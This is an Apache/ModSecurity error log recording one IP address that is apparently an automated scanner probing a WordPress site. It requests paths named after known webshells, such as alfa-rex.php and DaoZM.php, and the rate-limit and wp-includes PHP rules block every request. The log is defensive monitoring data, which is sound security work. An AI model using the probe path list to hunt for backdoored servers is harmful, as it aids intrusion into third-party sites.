[Wed Apr 01 09:16:31.804401 2026] [:error] [pid 23715:tid 23774] [client 20.116.48.67:38724] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "acxx76-REzOruNbiT9yN5wAAAE0"]
[Wed Apr 01 09:16:33.247541 2026] [:error] [pid 23716:tid 23788] [client 20.116.48.67:38808] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "acxx8XVtFUg_mx-RYb6RMwAAAIA"]
[Wed Apr 01 09:16:34.696035 2026] [:error] [pid 23715:tid 23777] [client 20.116.48.67:38741] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "acxx8q-REzOruNbiT9yN8wAAAFA"]
[Wed Apr 01 09:16:36.149911 2026] [:error] [pid 24348:tid 24394] [client 20.116.48.67:38888] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "acxx9G0Vs69Y5nF1HA8RCQAAAY8"]
[Wed Apr 01 09:16:37.599473 2026] [:error] [pid 23819:tid 23845] [client 20.116.48.67:38730] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "acxx9ddfUS_37wFAM74H-gAAANc"]
[Wed Apr 01 09:16:39.020691 2026] [:error] [pid 24314:tid 24340] [client 20.116.48.67:38789] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "acxx95RF3FCzjmMUX5YF_AAAARY"]
[Wed Apr 01 09:16:40.448144 2026] [:error] [pid 23714:tid 23738] [client 20.116.48.67:38802] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Response/wp-login.php"] [unique_id "acxx-EHxDDU2ETcG9DQ9tgAAAAQ"]
[Wed Apr 01 09:16:41.936937 2026] [:error] [pid 23716:tid 23789] [client 20.116.48.67:38889] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "acxx-XVtFUg_mx-RYb6RRwAAAIE"]
[Wed Apr 01 09:16:43.399009 2026] [:error] [pid 23716:tid 23812] [client 20.116.48.67:38848] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "acxx-3VtFUg_mx-RYb6RVQAAAJg"]
[Wed Apr 01 09:16:44.854317 2026] [:error] [pid 24348:tid 24394] [client 20.116.48.67:38803] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "acxx_G0Vs69Y5nF1HA8RIQAAAY8"]
[Wed Apr 01 09:16:46.363944 2026] [:error] [pid 24348:tid 24403] [client 20.116.48.67:38856] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "acxx_m0Vs69Y5nF1HA8RLAAAAZg"]
[Wed Apr 01 09:16:47.809102 2026] [:error] [pid 23714:tid 23743] [client 20.116.48.67:38786] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/src/alfa-rex.php"] [unique_id "acxx_0HxDDU2ETcG9DQ9yQAAAAk"]
[Wed Apr 01 09:16:49.293785 2026] [:error] [pid 24348:tid 24383] [client 20.116.48.67:38823] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "acxyAW0Vs69Y5nF1HA8RQAAAAYQ"]
[Wed Apr 01 09:16:50.766682 2026] [:error] [pid 23716:tid 23789] [client 20.116.48.67:38799] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "acxyAnVtFUg_mx-RYb6RWgAAAIE"]
[Wed Apr 01 09:16:52.200593 2026] [:error] [pid 23716:tid 23805] [client 20.116.48.67:38904] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "acxyBHVtFUg_mx-RYb6RYQAAAJE"]
[Wed Apr 01 09:16:53.640198 2026] [:error] [pid 23714:tid 23747] [client 20.116.48.67:38837] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "acxyBUHxDDU2ETcG9DQ93AAAAA0"]
[Wed Apr 01 09:16:55.067551 2026] [:error] [pid 23714:tid 23756] [client 20.116.48.67:38829] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-mail.php/wp-includes/ID3/wp-mail.php"] [unique_id "acxyB0HxDDU2ETcG9DQ95AAAABY"]
[Wed Apr 01 09:16:56.510187 2026] [:error] [pid 23714:tid 23746] [client 20.116.48.67:38785] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-mail.php/wp-includes/ID3/wp-mail.php"] [unique_id "acxyCEHxDDU2ETcG9DQ96gAAAAw"]
[Wed Apr 01 09:16:57.950326 2026] [:error] [pid 24348:tid 24388] [client 20.116.48.67:38835] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-mail.php/wp-includes/ID3/wp-mail.php"] [unique_id "acxyCW0Vs69Y5nF1HA8RUgAAAYk"]
[Wed Apr 01 09:16:59.739933 2026] [:error] [pid 23715:tid 23782] [client 20.116.48.67:38895] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-mail.php/wp-includes/ID3/wp-mail.php"] [unique_id "acxyC6-REzOruNbiT9yOAAAAAFU"]
[Wed Apr 01 09:17:01.302308 2026] [:error] [pid 23716:tid 23807] [client 20.116.48.67:38870] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "acxyDXVtFUg_mx-RYb6RhAAAAJM"]
[Wed Apr 01 09:17:03.015141 2026] [:error] [pid 23714:tid 23747] [client 20.116.48.67:38831] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "acxyD0HxDDU2ETcG9DQ99QAAAA0"]
[Wed Apr 01 09:17:04.506806 2026] [:error] [pid 24346:tid 24361] [client 20.116.48.67:38734] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "acxyELc1l8kg9MhGHIKxPAAAAUk"]
[Wed Apr 01 09:17:05.955632 2026] [:error] [pid 23714:tid 23751] [client 20.116.48.67:38891] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "acxyEUHxDDU2ETcG9DQ9-wAAABE"]
[Wed Apr 01 09:17:07.495252 2026] [:error] [pid 23714:tid 23739] [client 20.116.48.67:38820] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "acxyE0HxDDU2ETcG9DQ-AAAAAAU"]
[Wed Apr 01 09:17:08.937866 2026] [:error] [pid 23819:tid 23840] [client 20.116.48.67:38824] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "acxyFNdfUS_37wFAM74ILAAAANI"]
[Wed Apr 01 09:17:10.368284 2026] [:error] [pid 23819:tid 23831] [client 20.116.48.67:38764] [client 20.116.48.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.116.48.67, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "acxyFtdfUS_37wFAM74ILgAAAMk"]
[Wed Apr 01 09:17:10.794068 2026] [:error] [pid 23819:tid 23843] [client 20.116.48.67:38764] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/themes.php"] [unique_id "acxyFtdfUS_37wFAM74IMgAAANU"]
[Wed Apr 01 09:17:12.662357 2026] [:error] [pid 24314:tid 24323] [client 20.116.48.67:38819] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "acxyGJRF3FCzjmMUX5YGLwAAAQU"]
[Wed Apr 01 09:17:14.180322 2026] [:error] [pid 23716:tid 23792] [client 20.116.48.67:38664] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Content/Type/wp-login.php"] [unique_id "acxyGnVtFUg_mx-RYb6RrwAAAIQ"]
[Wed Apr 01 09:17:17.389418 2026] [:error] [pid 23716:tid 23794] [client 20.116.48.67:38886] [client 20.116.48.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.116.48.67, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "acxyHXVtFUg_mx-RYb6RvgAAAIY"]
[Wed Apr 01 09:17:17.610174 2026] [:error] [pid 23716:tid 23807] [client 20.116.48.67:38886] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Wed Apr 01 09:17:17.822847 2026] [:error] [pid 23716:tid 23798] [client 20.116.48.67:38886] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/about.php"] [unique_id "acxyHXVtFUg_mx-RYb6RwwAAAIo"]
[Wed Apr 01 09:17:19.268121 2026] [:error] [pid 23714:tid 23740] [client 20.116.48.67:38755] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Content/Type/index.php"] [unique_id "acxyH0HxDDU2ETcG9DQ-JAAAAAY"]
[Wed Apr 01 09:17:21.027200 2026] [:error] [pid 23714:tid 23734] [client 20.116.48.67:38774] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "acxyIUHxDDU2ETcG9DQ-LQAAAAA"]
[Wed Apr 01 09:17:22.545856 2026] [:error] [pid 23714:tid 23751] [client 20.116.48.67:38861] File does not exist: /usr/local/apache/htdocs/suspended-page/readme.php
[Wed Apr 01 09:17:22.761968 2026] [:error] [pid 23714:tid 23758] [client 20.116.48.67:38861] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Wed Apr 01 09:17:23.202058 2026] [:error] [pid 23714:tid 23738] [client 20.116.48.67:38861] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "acxyI0HxDDU2ETcG9DQ-RgAAAAQ"]
[Wed Apr 01 09:17:24.736549 2026] [:error] [pid 24314:tid 24340] [client 20.116.48.67:38854] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "acxyJJRF3FCzjmMUX5YGOgAAARY"]
[Wed Apr 01 09:17:26.211192 2026] [:error] [pid 24314:tid 24318] [client 20.116.48.67:38877] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "acxyJpRF3FCzjmMUX5YGPwAAAQA"]
[Wed Apr 01 09:17:27.744471 2026] [:error] [pid 23714:tid 23734] [client 20.116.48.67:38792] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "acxyJ0HxDDU2ETcG9DQ-UwAAAAA"]
[Wed Apr 01 09:17:29.185289 2026] [:error] [pid 23716:tid 23812] [client 20.116.48.67:38805] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/plugins/DaoZM.php"] [unique_id "acxyKXVtFUg_mx-RYb6R0AAAAJg"]
[Wed Apr 01 09:17:30.636923 2026] [:error] [pid 24346:tid 24360] [client 20.116.48.67:38804] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/plugins/DaoZM.php"] [unique_id "acxyKrc1l8kg9MhGHIKxVgAAAUg"]
[Wed Apr 01 09:17:32.096346 2026] [:error] [pid 23714:tid 23757] [client 20.116.48.67:38754] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/plugins/DaoZM.php"] [unique_id "acxyLEHxDDU2ETcG9DQ-XwAAABc"]
[Wed Apr 01 09:17:33.536187 2026] [:error] [pid 23715:tid 23773] [client 20.116.48.67:38897] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/plugins/DaoZM.php"] [unique_id "acxyLa-REzOruNbiT9yOOQAAAEw"]
[Wed Apr 01 09:17:34.958794 2026] [:error] [pid 23716:tid 23802] [client 20.116.48.67:38878] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/install.php"] [unique_id "acxyLnVtFUg_mx-RYb6R_gAAAI4"]
[Wed Apr 01 09:17:36.423482 2026] [:error] [pid 23714:tid 23742] [client 20.116.48.67:38753] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/install.php"] [unique_id "acxyMEHxDDU2ETcG9DQ-bQAAAAg"]
[Wed Apr 01 09:17:37.859717 2026] [:error] [pid 23716:tid 23803] [client 20.116.48.67:38875] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/install.php"] [unique_id "acxyMXVtFUg_mx-RYb6SDwAAAI8"]
[Wed Apr 01 09:17:39.294877 2026] [:error] [pid 23819:tid 23844] [client 20.116.48.67:38788] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/install.php"] [unique_id "acxyM9dfUS_37wFAM74IgAAAANY"]
[Wed Apr 01 09:17:40.732939 2026] [:error] [pid 23714:tid 23755] [client 20.116.48.67:38884] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Content/Type/alfa-rex.php"] [unique_id "acxyNEHxDDU2ETcG9DQ-eQAAABU"]
[Wed Apr 01 09:17:42.165717 2026] [:error] [pid 23714:tid 23736] [client 20.116.48.67:38872] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "acxyNkHxDDU2ETcG9DQ-fQAAAAI"]
[Wed Apr 01 09:17:43.617185 2026] [:error] [pid 23714:tid 23742] [client 20.116.48.67:38898] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "acxyN0HxDDU2ETcG9DQ-hgAAAAg"]
[Wed Apr 01 09:17:45.050315 2026] [:error] [pid 23716:tid 23801] [client 20.116.48.67:38763] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "acxyOXVtFUg_mx-RYb6SNAAAAI0"]
[Wed Apr 01 09:17:46.520038 2026] [:error] [pid 24348:tid 24396] [client 20.116.48.67:38790] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "acxyOm0Vs69Y5nF1HA8RyQAAAZE"]
[Wed Apr 01 09:17:48.010253 2026] [:error] [pid 24348:tid 24397] [client 20.116.48.67:38901] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/403.php"] [unique_id "acxyPG0Vs69Y5nF1HA8RywAAAZI"]
